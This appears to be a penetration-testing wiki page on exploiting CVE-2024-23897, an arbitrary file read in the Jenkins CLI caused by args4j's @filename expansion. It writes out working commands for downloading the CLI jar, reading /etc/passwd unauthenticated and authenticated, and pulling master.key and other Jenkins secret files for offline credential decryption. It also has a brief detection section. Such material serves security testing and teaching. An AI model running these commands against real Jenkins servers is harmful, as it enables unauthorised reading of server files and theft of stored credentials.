Skip to content
HackIndex.io

Jenkins Arbitrary File Read (CVE-2024-23897)

3 min read Created Sep 14, 2026 Last updated Sep 14, 2026

CVE-2024-23897 is an arbitrary file read in the Jenkins CLI. The CLI uses the args4j library to parse command arguments, and args4j expands @filename arguments by replacing them with the contents of the named file. This happens before authentication, allowing unauthenticated attackers to read files from the Jenkins server filesystem. Affects Jenkins versions before 2.442 and LTS versions before 2.426.3.

Prerequisites

The Jenkins CLI endpoint must be enabled (default: enabled). Download the CLI JAR from the target server.

┌──(kali㉿kali)-[~]
└─$ wget http://$TARGET_IP:$PORT/jnlpJars/jenkins-cli.jar

File Read (First Line)

Without authentication, the @ expansion in error messages leaks the first line of the referenced file. The who-am-i command is commonly used because it produces a predictable error that includes the expanded argument.

┌──(kali㉿kali)-[~]
└─$ java -jar jenkins-cli.jar -s http://$TARGET_IP:$PORT/ who-am-i @/etc/passwd 
ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash

The error message contains the first line of /etc/passwd. Without authentication, most CLI commands only leak the first line via the error.

Full File Read (Authenticated)

With valid credentials (even low-privileged), some CLI commands read the entire file, not just the first line. The connect-node and reload-job commands accept multi-line arguments.

┌──(kali㉿kali)-[~]
└─$ java -jar jenkins-cli.jar -s http://$TARGET_IP:$PORT/ -auth $USER:$PASSWORD connect-node @/etc/passwd 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

connect-node reads the full file because it expects node names (one per line) and reports each unrecognised name in the error output.

High-Value Targets

Use the file read to extract Jenkins secrets for offline credential decryption.

┌──(kali㉿kali)-[~]
└─$ java -jar jenkins-cli.jar -s http://$TARGET_IP:$PORT/ who-am-i @/var/lib/jenkins/secrets/master.key

master.key is a single-line hex string, so the first-line read is enough. Combined with hudson.util.Secret and credentials.xml, this enables offline credential decryption.

Other files worth reading:

  • /var/lib/jenkins/secrets/initialAdminPassword: initial admin password (single line, works unauthenticated).
  • /var/lib/jenkins/credentials.xml: encrypted credentials (needs full file read).
  • /var/lib/jenkins/config.xml: global configuration including security realm settings.
  • /proc/self/environ: environment variables of the Jenkins process.

After extracting master.key, hudson.util.Secret, and credentials.xml, decrypt stored secrets using the workflow in Jenkins credential extraction.

Binary File Read

hudson.util.Secret is a binary file. The args4j expansion may corrupt binary data. Use base64 encoding by reading through /proc/self/fd or use the authenticated Groovy console if available. For binary files, the Groovy console file read approach is more reliable.

Detection

Exploiting this CVE generates errors in the Jenkins log. Each attempt creates a CLI connection event and an error for the invalid argument. Monitor the Jenkins access log for repeated CLI connections from external IPs.

References